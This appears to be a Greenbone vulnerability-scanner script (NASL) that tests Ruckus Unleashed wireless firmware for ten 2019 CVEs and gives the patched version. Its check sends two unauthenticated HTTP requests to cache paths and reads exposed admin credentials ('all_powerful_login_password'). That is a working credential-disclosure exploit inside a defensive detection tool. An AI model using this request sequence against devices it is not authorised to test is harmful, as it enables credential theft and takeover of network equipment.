Ruckus Unleashed Multiple Vulnerabilities

# Copyright (C) 2020 Greenbone Networks GmbH
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:ruckuswireless:unleashed_firmware";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.143324");
  script_version("2021-07-13T02:01:14+0000");
  script_tag(name:"last_modification", value:"2021-07-13 02:01:14 +0000 (Tue, 13 Jul 2021)");
  script_tag(name:"creation_date", value:"2020-01-08 08:39:38 +0000 (Wed, 08 Jan 2020)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-01-23 21:55:00 +0000 (Thu, 23 Jan 2020)");

  script_cve_id("CVE-2019-19834", "CVE-2019-19835", "CVE-2019-19836", "CVE-2019-19837", "CVE-2019-19838",
                "CVE-2019-19839", "CVE-2019-19840", "CVE-2019-19841", "CVE-2019-19842", "CVE-2019-19843");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Ruckus Unleashed Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2020 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_ruckus_unleashed_http_detect.nasl");
  script_mandatory_keys("ruckus/unleashed/detected");

  script_tag(name:"summary", value:"Ruckus Unleashed is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends crafted HTTP GET requests and checks the responses.");

  script_tag(name:"insight", value:"Ruckus Unleashed is prone to multiple vulnerabilities:

  - CVE-2019-19834 Command injection vulnerability via a crafted CLI command with admin privilege

  - CVE-2019-19835 SSRF vulnerability in zap, caused by insufficient input validation

  - CVE-2019-19836 Remote code execution vulnerability in zap caused by insufficient input validation

  - CVE-2019-19837 Information disclosure vulnerability

  - CVE-2019-19838, CVE-2019-19839, CVE-2019-19841, CVE-2019-19842 Remote command injection via a crafted HTTP
    request, caused by insufficient input validation

  - CVE-2019-19840 Stack buffer overflow/remote code execution vulnerability via acrafted unauthenticated HTTP
    request

  - CVE-2019-19843 Access control vulnerability resulting in sensitive information disclosure");

  script_tag(name:"affected", value:"Ruckus Unleashed through version 200.6 and version 200.7.");

  script_tag(name:"solution", value:"Update to firmware version 200.7.10.202.94 or later.");

  script_xref(name:"URL", value:"https://www.ruckuswireless.com/security/299/view/pdf");

  exit(0);
}

include("dump.inc");
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/user/wps_tool_cache/var/run/rpmkey.rev";

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

revnum = eregmatch(pattern: "([0-9]+)", string: res);
if (isnull(revnum[1]))
  exit(0);

url = "/user/wps_tool_cache/var/run/rpmkey" + revnum[1];

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

res = bin2string(ddata: res, noprint_replacement: "");

if (res =~ "^HTTP/1\.[01] 200" && "all_powerful_login_password" >< res) {
  report = "It was possible to obtain sensitive information (e.g. admin credentials) at " +
           http_report_vuln_url(port: port, url: url, url_only: TRUE);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);